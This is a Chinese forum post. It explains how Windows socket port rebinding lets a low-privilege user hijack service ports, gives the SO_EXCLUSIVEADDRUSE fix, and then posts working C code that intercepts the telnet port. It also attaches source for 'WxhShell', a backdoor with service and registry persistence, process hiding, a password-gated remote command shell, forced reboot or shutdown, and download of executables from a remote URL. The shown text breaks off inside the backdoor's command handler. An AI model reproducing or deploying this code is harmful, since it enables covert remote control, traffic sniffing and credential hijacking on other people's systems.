社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12342阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %7vjYvo>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *l9Wj$vja  
'ai3f  
  saddr.sin_family = AF_INET; wx]r{  
[.[|rnil  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X 8#Uk}/  
f?P>P23  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 67]kT%0  
;+6TZqklQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kb icP<  
,%!E-gr  
  这意味着什么?意味着可以进行如下的攻击: L';b908r2  
{<J(*K*\Jo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g)/#gyT4Y  
AJWV#J%nB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QY}1i .f  
*41 2)zEy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a"Q>K7K  
Kx<T;iJ}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <GRplkf`  
8+=-!": ]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $6Az\Iu *  
wSGW_{;-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W, YYL(L  
%'`L+y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xpp%j  
Mb +  
  #include q8-*3K  
  #include 9~Ve}NB#z&  
  #include 3Y6W)$ Q  
  #include    +61h!/<W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y'#i'0eeL  
  int main() PrwMR_-  
  { -s5>GwZt  
  WORD wVersionRequested; zh6 0b{  
  DWORD ret; 079mn/8;  
  WSADATA wsaData; "eOFp\vPr  
  BOOL val; G~$[(Fhk  
  SOCKADDR_IN saddr; bayDdR4T  
  SOCKADDR_IN scaddr; E!SxO~  
  int err; g71|t7Q  
  SOCKET s; \7elqX`.yY  
  SOCKET sc; fk!P#  
  int caddsize; h^aUVuL/  
  HANDLE mt; *v6 j7<H  
  DWORD tid;   r@v_hc  
  wVersionRequested = MAKEWORD( 2, 2 ); YI!@ ,t  
  err = WSAStartup( wVersionRequested, &wsaData ); 9@{=2 k  
  if ( err != 0 ) { E3`&W8  
  printf("error!WSAStartup failed!\n"); Vh o3I[C  
  return -1; _G1C5nkDl4  
  } *\4u:1Cu  
  saddr.sin_family = AF_INET; 2Ysl|xRo  
   ZBcT@hxm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GDBxciv  
gPYF2m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %`b %TH^  
  saddr.sin_port = htons(23); _`LQnRp(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tLc 9-  
  { rV6SN.  
  printf("error!socket failed!\n"); n)6mfoe  
  return -1; #OE]'k Ss  
  } #\LsM ~,  
  val = TRUE; rh+2 7"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z<M?_<3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W2-1oS~ma  
  { =bDy :yY}  
  printf("error!setsockopt failed!\n"); rJ7yq|^Z  
  return -1; 4y$tp1 8  
  } OEwKT7CX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q\q8xF~[p  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .*acw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8&2W^f5  
)xPfz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "1X@t'H38  
  { gI5"\"T{  
  ret=GetLastError(); 8"5^mj  
  printf("error!bind failed!\n"); B+Ox#[<75  
  return -1; C_q@ixF{  
  } t.YY?5 l  
  listen(s,2); `:y {  
  while(1) DuV@^qSbG.  
  { p#DJow  
  caddsize = sizeof(scaddr); ,4`=gKn  
  //接受连接请求 oBqWIXM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6OOdVS3\J  
  if(sc!=INVALID_SOCKET) Kp.d#W_TX  
  { y?4%eD  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^;[|,:8f7L  
  if(mt==NULL) H1^m>4ll9  
  { cQOc^W  
  printf("Thread Creat Failed!\n"); nJ{vO{N  
  break; ehe;<A  
  } ?r"QJa>  
  } 6Rcl HU  
  CloseHandle(mt); ICxj$b  
  } XI"8d.VR  
  closesocket(s); K[/sVaPZ  
  WSACleanup(); [8OQ5}do/  
  return 0; U`w `Cr  
  }   6^vseVx  
  DWORD WINAPI ClientThread(LPVOID lpParam) `of` uB  
  { i=mk#.j~  
  SOCKET ss = (SOCKET)lpParam;  WPnw  
  SOCKET sc; ?9I=XTR  
  unsigned char buf[4096]; c"H59 jE  
  SOCKADDR_IN saddr; 8a}et8df:  
  long num; !da [#zK  
  DWORD val; ']]5xH*U  
  DWORD ret; )!tqock*v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G+dQ" cI9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |MEu"pY)  
  saddr.sin_family = AF_INET; o{n)w6P{R,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Xe:gH.}  
  saddr.sin_port = htons(23); n +R3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M}c gVMW  
  { c@&-c[k^W  
  printf("error!socket failed!\n"); rz'A#-?'oG  
  return -1; Rx\.x? &  
  } 7%x 3o#&  
  val = 100; Dx1w I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F )|0U~  
  { (^)" qs B  
  ret = GetLastError(); B<}0r 4T}  
  return -1; ~8#Ku,vEy  
  } _/(7:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wEu"X  
  { vSf ?o\O  
  ret = GetLastError(); _5%NG 3c  
  return -1; zVL"$ )  
  } 9f/RD?(1O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U|2*.''+Q  
  { HC[)):S*  
  printf("error!socket connect failed!\n"); U.mVz,k3  
  closesocket(sc); Za4X ;  
  closesocket(ss); w!8xZu  
  return -1; FK~FC:K  
  } J#OiY  
  while(1) Vy6A]U\%  
  { <.6bni )  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6&Al9+$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wAn}ic".b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WhU-^`[*  
  num = recv(ss,buf,4096,0); ZBX,4kxK7  
  if(num>0) (Z{&[h  
  send(sc,buf,num,0); *pMu,?uE  
  else if(num==0) ESQgN+llj  
  break; V_.n G;  
  num = recv(sc,buf,4096,0); <R%]9#re  
  if(num>0) /-_<RQ  
  send(ss,buf,num,0); D6wg^ 'Q:  
  else if(num==0) t^Hte^#S  
  break; h_{//W[  
  } PX%Y$`  
  closesocket(ss); 4IEF{"c_8  
  closesocket(sc); g*uo2-MN&e  
  return 0 ; sh|@X\EZO  
  } aLKvl~s;m  
GLIe8T*ht  
N9s ,..  
========================================================== H|]~(.w 1}  
X Nm%O  
下边附上一个代码,,WXhSHELL V< ]l=JOd  
M1sR+e$"  
========================================================== p~h)@  
={GYJ. *Ah  
#include "stdafx.h" ejID5NqG  
t(,_  
#include <stdio.h> 5*he  
#include <string.h> ecjjCt2S  
#include <windows.h> 9N?BWv }  
#include <winsock2.h> DQ a0S7I  
#include <winsvc.h>  a1p}y2  
#include <urlmon.h> {Al}a`da  
pMfP3G7V  
#pragma comment (lib, "Ws2_32.lib") S9'8rn!_  
#pragma comment (lib, "urlmon.lib") $cUTe  
/N'|Vs,X  
#define MAX_USER   100 // 最大客户端连接数 l_`DQ8L`  
#define BUF_SOCK   200 // sock buffer >#j f Z5t  
#define KEY_BUFF   255 // 输入 buffer !VF.=\iH/  
9)Jc'd|  
#define REBOOT     0   // 重启 No1*~EQ  
#define SHUTDOWN   1   // 关机 ls<7Qe"a  
lN<,<'&^.  
#define DEF_PORT   5000 // 监听端口 VXpbmg!{S  
P%-@AmO^_  
#define REG_LEN     16   // 注册表键长度 n qR8uL>  
#define SVC_LEN     80   // NT服务名长度 ND3(oes+;K  
q!5 *) nw"  
// 从dll定义API f Cq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D02_ Jrg  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0VOj,)K=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GOx+%`.R\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +}u{{  
8LH"j(H  
// wxhshell配置信息 kN99(  
struct WSCFG { BWd{xP y  
  int ws_port;         // 监听端口 qg(rG5kD@  
  char ws_passstr[REG_LEN]; // 口令 h)vRvfcmY  
  int ws_autoins;       // 安装标记, 1=yes 0=no  YjV-70'  
  char ws_regname[REG_LEN]; // 注册表键名 D{4Ehr "T  
  char ws_svcname[REG_LEN]; // 服务名 xK3 xiR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cc"L> XoK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w,'"2^Cwy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Fa!6*K\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3*DwXH+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BV9%|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f8m%T%]f  
cjd Z.jR2  
}; ylEQeN  
BgzER[g|q{  
// default Wxhshell configuration ) Apg  
struct WSCFG wscfg={DEF_PORT, yLo{^4a.  
    "xuhuanlingzhe", ##6_kcL:6G  
    1, R-8/BTls7  
    "Wxhshell", \U1fUrw$*  
    "Wxhshell", s /? &H-  
            "WxhShell Service", `?X=@  
    "Wrsky Windows CmdShell Service", )AX0x1I|E  
    "Please Input Your Password: ", PhS`,I^Z  
  1, NVTNjDF%s  
  "http://www.wrsky.com/wxhshell.exe", -RSPYQjz  
  "Wxhshell.exe" <N Lor55.]  
    }; #..-!>lY  
]T3dZ`-(  
// 消息定义模块 0S{dnp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S;582H9D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k]vrqjn Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jmcb-=ts  
char *msg_ws_ext="\n\rExit."; Or0eY#c  
char *msg_ws_end="\n\rQuit."; x}w"2[fL  
char *msg_ws_boot="\n\rReboot..."; '}`|QJ  
char *msg_ws_poff="\n\rShutdown..."; V ifQ@  
char *msg_ws_down="\n\rSave to "; /<HEcB  
Y[A`r0  
char *msg_ws_err="\n\rErr!"; =s2dD3Fr|  
char *msg_ws_ok="\n\rOK!"; t5%\`Yo?  
*mc]Oa  
char ExeFile[MAX_PATH]; Dn 6k,nVh  
int nUser = 0; NW.<v /?=,  
HANDLE handles[MAX_USER]; p8>.Q/4  
int OsIsNt; ?D].Za^km  
=ZsM[wd  
SERVICE_STATUS       serviceStatus; MZ(TST"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @aG1PG{  
g[rxK n\Z  
// 函数声明 'wo[iNy[  
int Install(void); a:PS}_.  
int Uninstall(void); kp4*|$]  
int DownloadFile(char *sURL, SOCKET wsh); X[frL)k]  
int Boot(int flag); kKFSCl/g  
void HideProc(void); h\ (z!7t*  
int GetOsVer(void); #xqeCX 4p  
int Wxhshell(SOCKET wsl); 6\MJvg\;  
void TalkWithClient(void *cs); 3~e"CKD>  
int CmdShell(SOCKET sock); FuOP+r!H  
int StartFromService(void); t'uZho~^F  
int StartWxhshell(LPSTR lpCmdLine); ?|8QL9Q"|  
dOm#NSJVd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f`5e0;zm  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  +X i#y}%  
apxZ}  
// 数据结构和表定义 +$MNG   
SERVICE_TABLE_ENTRY DispatchTable[] = H61 ,pr>  
{ 8oSndfV  
{wscfg.ws_svcname, NTServiceMain}, tylMJ$ 9*.  
{NULL, NULL} x%ZgLvdp,  
}; qll)  
yZ[H&>  
// 自我安装 [)}F4Jsz%  
int Install(void) \*}JdEHB  
{ /znW$yh o  
  char svExeFile[MAX_PATH]; ,}!OJyT  
  HKEY key; (k9{&mPJ  
  strcpy(svExeFile,ExeFile); ]Dm'J%P0}  
DnA}!s  
// 如果是win9x系统,修改注册表设为自启动 &zsaVm8  
if(!OsIsNt) { K2T&U$ ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *p;Fwj]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1}e1:m]r  
  RegCloseKey(key); #zC_;u$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K/Q^8%Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aOq>Ra{T  
  RegCloseKey(key); \(t.|  
  return 0; .+<Ul ]e/  
    } T}(J`{ 9i  
  } )%q]?@kB  
} FbB> Md;  
else { 4h>Dpml  
tBgB>-h(  
// 如果是NT以上系统,安装为系统服务 :CO>g=`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >]q{vKCAP  
if (schSCManager!=0) y]5O45E0  
{ ;BV1E|j  
  SC_HANDLE schService = CreateService 4P@Ak7iL(V  
  ( a3i4eGT-  
  schSCManager, 2R&msdF   
  wscfg.ws_svcname, .__X- +^  
  wscfg.ws_svcdisp, 5qkG~ YO-  
  SERVICE_ALL_ACCESS, _94|^   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SxLu<  
  SERVICE_AUTO_START, o5gt`H"  
  SERVICE_ERROR_NORMAL, `7qZ6Z3z@  
  svExeFile, fYF\5/_  
  NULL, +Zu*9&Cx  
  NULL, T:aYv;#0  
  NULL, ]}2+yK  
  NULL, XVjs0/5b  
  NULL '~ RP+  
  ); DfP4 `  
  if (schService!=0) q.0a0 /R  
  { q3\ YL?  
  CloseServiceHandle(schService); m72r6Yq2@  
  CloseServiceHandle(schSCManager); K_ P08  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v*'dA^Q  
  strcat(svExeFile,wscfg.ws_svcname); S6gg(nNe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bX%9'O[-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7A|n*'[T>  
  RegCloseKey(key); PSz|I8 c  
  return 0; /t`s.!k  
    } dieGLA<5_X  
  } :R+}[|FV  
  CloseServiceHandle(schSCManager); M XsSF|-  
} N;e d_!  
} b f.__3{  
5LU8QHj3  
return 1; d^sS{m\  
} ~aKxwH  
bD[W`yW0  
// 自我卸载 )IQa]A  
int Uninstall(void) A{mv[x-XN  
{ BtS#I[-p_  
  HKEY key; bhaIi>W~G  
T!C39T  
if(!OsIsNt) { \EF^Ag  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4$ LVl  
  RegDeleteValue(key,wscfg.ws_regname); G9ku(2cq  
  RegCloseKey(key); ca/AScL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BwwOaO@L  
  RegDeleteValue(key,wscfg.ws_regname); SW|{)L,  
  RegCloseKey(key); !L4Vz7 C  
  return 0; [F4] pR(  
  } XnmQp)nyV  
} m[6?v;w  
} Q@gmtAp  
else { 3B#qQ#  
_]btsv\)f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `,|"rn#S  
if (schSCManager!=0) [%'yHb~<  
{ Eb66GXF[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +jQHf-l  
  if (schService!=0) ^$-ID6  
  { ` 6a  
  if(DeleteService(schService)!=0) { b_2bg>|;  
  CloseServiceHandle(schService); gE$D#PZa  
  CloseServiceHandle(schSCManager); H&`0I$8m  
  return 0; fz'@ON  
  } %O] ]La  
  CloseServiceHandle(schService); 7M;7jI/C  
  } yO\ .dp  
  CloseServiceHandle(schSCManager); -\C;2&(  
} r:fMd3;gq  
} &`+tWL6L  
gXZl3  
return 1; hKo& ZWPq  
} pRyePxCDj)  
$m{-I=  
// 从指定url下载文件 E(]39B"i  
int DownloadFile(char *sURL, SOCKET wsh) }pqnF53  
{ F(+,M~  
  HRESULT hr; g{{DC )>  
char seps[]= "/"; a=n* }.  
char *token; @I_!q*  
char *file; %0 cFs'  
char myURL[MAX_PATH]; l*eJa38  
char myFILE[MAX_PATH]; LsB|}_j7  
8$)xxV_zp  
strcpy(myURL,sURL); ;7,>2VTm  
  token=strtok(myURL,seps); f@Oi$9CZn  
  while(token!=NULL) FI|jsO 3  
  { g i>`  
    file=token; h`Ld%iN\  
  token=strtok(NULL,seps); /G*]3=cSe  
  } >1luLp/,$  
;ED` 7  
GetCurrentDirectory(MAX_PATH,myFILE); JmlMfMpXMs  
strcat(myFILE, "\\"); /j%(Z/RM  
strcat(myFILE, file); 9R$0[HbI3  
  send(wsh,myFILE,strlen(myFILE),0); hO8~Rg   
send(wsh,"...",3,0); haNi [|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2>`m1q:  
  if(hr==S_OK) cg`bbZ  
return 0; C8dC_9  
else g"b{M  
return 1; nh"8on]M~  
4Wsp PHj  
} 1nGpW$Gx  
2h=QJgpCG  
// 系统电源模块 f%#q}vK-  
int Boot(int flag) 'P'f`;'_DC  
{ ":igYh  
  HANDLE hToken; ,u.G6"<  
  TOKEN_PRIVILEGES tkp; nulLK28q  
M/?*?B  
  if(OsIsNt) { vca]yK<u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b { M'aV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $W_sIS0\z  
    tkp.PrivilegeCount = 1; OoIs'S-Z#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4$W}6 v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .|?UqZ(,  
if(flag==REBOOT) { W"3YA+qpI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yyZs[5Q  
  return 0; QVT|6znw  
} #E`wqI\'  
else { Ec3TY<mVr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #!yW)RG  
  return 0; o57r ,`N  
} pDYcsC{p  
  } rf\/Y"D  
  else { Kg8n3pLAX  
if(flag==REBOOT) { d@b" ~r}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CpGy'Ia  
  return 0; "@s</HGo  
} :<QmG3F  
else { a8w/#!^34  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "A9qC*6[  
  return 0; j'IZetT  
} sa?Ul)L2  
} g.,_E4L  
q0t}  
return 1; Ea<kc[Q  
} 9_Ws8nE  
,S V34+(  
// win9x进程隐藏模块 FTJvkcc?m  
void HideProc(void) UI]UxEJ  
{ ?GT,Y5  
i:/Ws1=q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q+ZN$4m  
  if ( hKernel != NULL ) OyG#  
  { *4 HogC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n.l7V<1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G4<M@ET  
    FreeLibrary(hKernel); S4O'N x  
  } hI6Tp>b*~  
H$M{thW  
return; DnP "7}v  
} HSG7jC'_  
wdMVy=SS  
// 获取操作系统版本 OAiSE`  
int GetOsVer(void) v$d^>+Y#  
{ `z1E]{A  
  OSVERSIONINFO winfo; !+o`,KTYp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 96#aG h>  
  GetVersionEx(&winfo); p|0ZP6!|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2~B9 (|  
  return 1; VKb=)v[K  
  else @3v[L<S{  
  return 0; sZh| <2  
} lHI?GiB@  
Y'U]!c9  
// 客户端句柄模块 n4A#T#D!t3  
int Wxhshell(SOCKET wsl) s`dwE*~  
{ 9D`p2cO  
  SOCKET wsh; YZ(tjIgQ  
  struct sockaddr_in client; Nc_Qd4<[@G  
  DWORD myID; &6O0h0Vy  
BenUyv1d  
  while(nUser<MAX_USER) hi0-Sw  
{ P.Gmj;  
  int nSize=sizeof(client); g;-6Hg'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w:3CWF4q]  
  if(wsh==INVALID_SOCKET) return 1; OhW o  
L|y 9T {s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *-,jIaL;  
if(handles[nUser]==0) o?`^ UG-   
  closesocket(wsh); L7"B`oa(p  
else ^@f-Ni\  
  nUser++; :=oIvSnh  
  } L)QAI5o:3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,sZ)@?e  
rp_Aw  
  return 0; c4 bo  
} 3R?6{.  
r"$~Gg.%(  
// 关闭 socket kJNu2S  
void CloseIt(SOCKET wsh) c.{t +OR  
{ j|w_BO 9  
closesocket(wsh);  YF$nL(  
nUser--; h { M=V  
ExitThread(0); W8N__  
} :Oh*Q(>  
#McX  
// 客户端请求句柄 '9tV-whw  
void TalkWithClient(void *cs) XJ6=Hg4_O  
{ N?l  
5c 69M5  
  SOCKET wsh=(SOCKET)cs; YDjjhe+  
  char pwd[SVC_LEN]; XF i!=|F  
  char cmd[KEY_BUFF]; #4Ltw ,b^  
char chr[1]; H$!sK  
int i,j; P.W@5:sD  
V2o1~R~  
  while (nUser < MAX_USER) { 58[.]f~0  
zOn% \  
if(wscfg.ws_passstr) { d 6=Z=4w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gq =i-I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Noi+mL  
  //ZeroMemory(pwd,KEY_BUFF); A&UGr971  
      i=0; kn= fW1  
  while(i<SVC_LEN) { 2'-o'z<  
;R*tT%Z,  
  // 设置超时 4YyVh.x  
  fd_set FdRead; W0\ n?$ZC~  
  struct timeval TimeOut; I!u fw\[  
  FD_ZERO(&FdRead); bF c %  
  FD_SET(wsh,&FdRead); W/G75o~6  
  TimeOut.tv_sec=8; PNRZUZ4Z|  
  TimeOut.tv_usec=0; @WnW @'*F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H:4? sR3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gV;9lpZ2  
V!zU4!@qP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m/p:W/0L  
  pwd=chr[0]; 'M=V{.8U  
  if(chr[0]==0xd || chr[0]==0xa) { r%FfJM@!  
  pwd=0; l5<&pb#b  
  break; gT#hF]c:  
  } _Eus7  
  i++; xi}3)5  
    } NU(YllPB  
d_)VeuE2  
  // 如果是非法用户,关闭 socket =@s{H +  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DpvMY94Qh  
} %3es+A@  
J?oEzf;M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8Uoqj=5F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3}nkTZG  
O>/& -Wk=  
while(1) { ~pPj   
Y~P* !g  
  ZeroMemory(cmd,KEY_BUFF); "#=WD  
NflRNu:-  
      // 自动支持客户端 telnet标准   9PWqoz2c  
  j=0; 2SJ|$VsLaE  
  while(j<KEY_BUFF) { JB9s# `  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nD}CQ_C  
  cmd[j]=chr[0]; pg/SYEvsV  
  if(chr[0]==0xa || chr[0]==0xd) { cb`ik)=K%  
  cmd[j]=0; A9kn\U92  
  break; {"hyr/SKd  
  } PGJkQsp0  
  j++; QP<vjj%  
    } "4WwiI9  
ANlzF& K  
  // 下载文件 !d{Ijs'T  
  if(strstr(cmd,"http://")) { UY/qI%#L#,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _&K>fy3t&  
  if(DownloadFile(cmd,wsh)) !H4C5wDu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !f)^z9QX8  
  else wG",Obja  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f_;6uCCO  
  } &m{vLw  
  else { ?xYoCn}Z  
WNo<0|X  
    switch(cmd[0]) { sO 0j!;N  
  '=cAdja  
  // 帮助 !xz{X?  
  case '?': { /(?,S{]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u$nYddak  
    break; ^ SW!S_&Z2  
  } yN9setw*,M  
  // 安装 a"whg~  
  case 'i': { z99jW<*0  
    if(Install()) ]udH`{]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YV)h"u+@0  
    else (i>bGmiN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lj"72   
    break; D:fLQ8a  
    } ebIRXUF}>  
  // 卸载 C$7dmGjZ  
  case 'r': { (x/xqDpmBS  
    if(Uninstall()) -(l/.yE{X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p[:E$#W~;  
    else {/q4W; D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?vV&tqnx%  
    break; ^8{:RiN6e~  
    } i~uoK7o|G  
  // 显示 wxhshell 所在路径 ]=jpqxlx  
  case 'p': { OG{vap)  
    char svExeFile[MAX_PATH]; D0 ,t,,L  
    strcpy(svExeFile,"\n\r"); 2F|06E'  
      strcat(svExeFile,ExeFile); dobqYd4`  
        send(wsh,svExeFile,strlen(svExeFile),0); S*S @a4lV7  
    break; YHfk; FI  
    } 3mH(@ -OA  
  // 重启 U_ *K%h\m  
  case 'b': { _aK4[*jnqh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V J]S"  
    if(Boot(REBOOT)) SEsLJ?Dv0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t[HA86X  
    else { %C~LKs5oH  
    closesocket(wsh); k/.a yLq  
    ExitThread(0); xOBzT&  
    } Iv51,0A  
    break; 4=7h1qex  
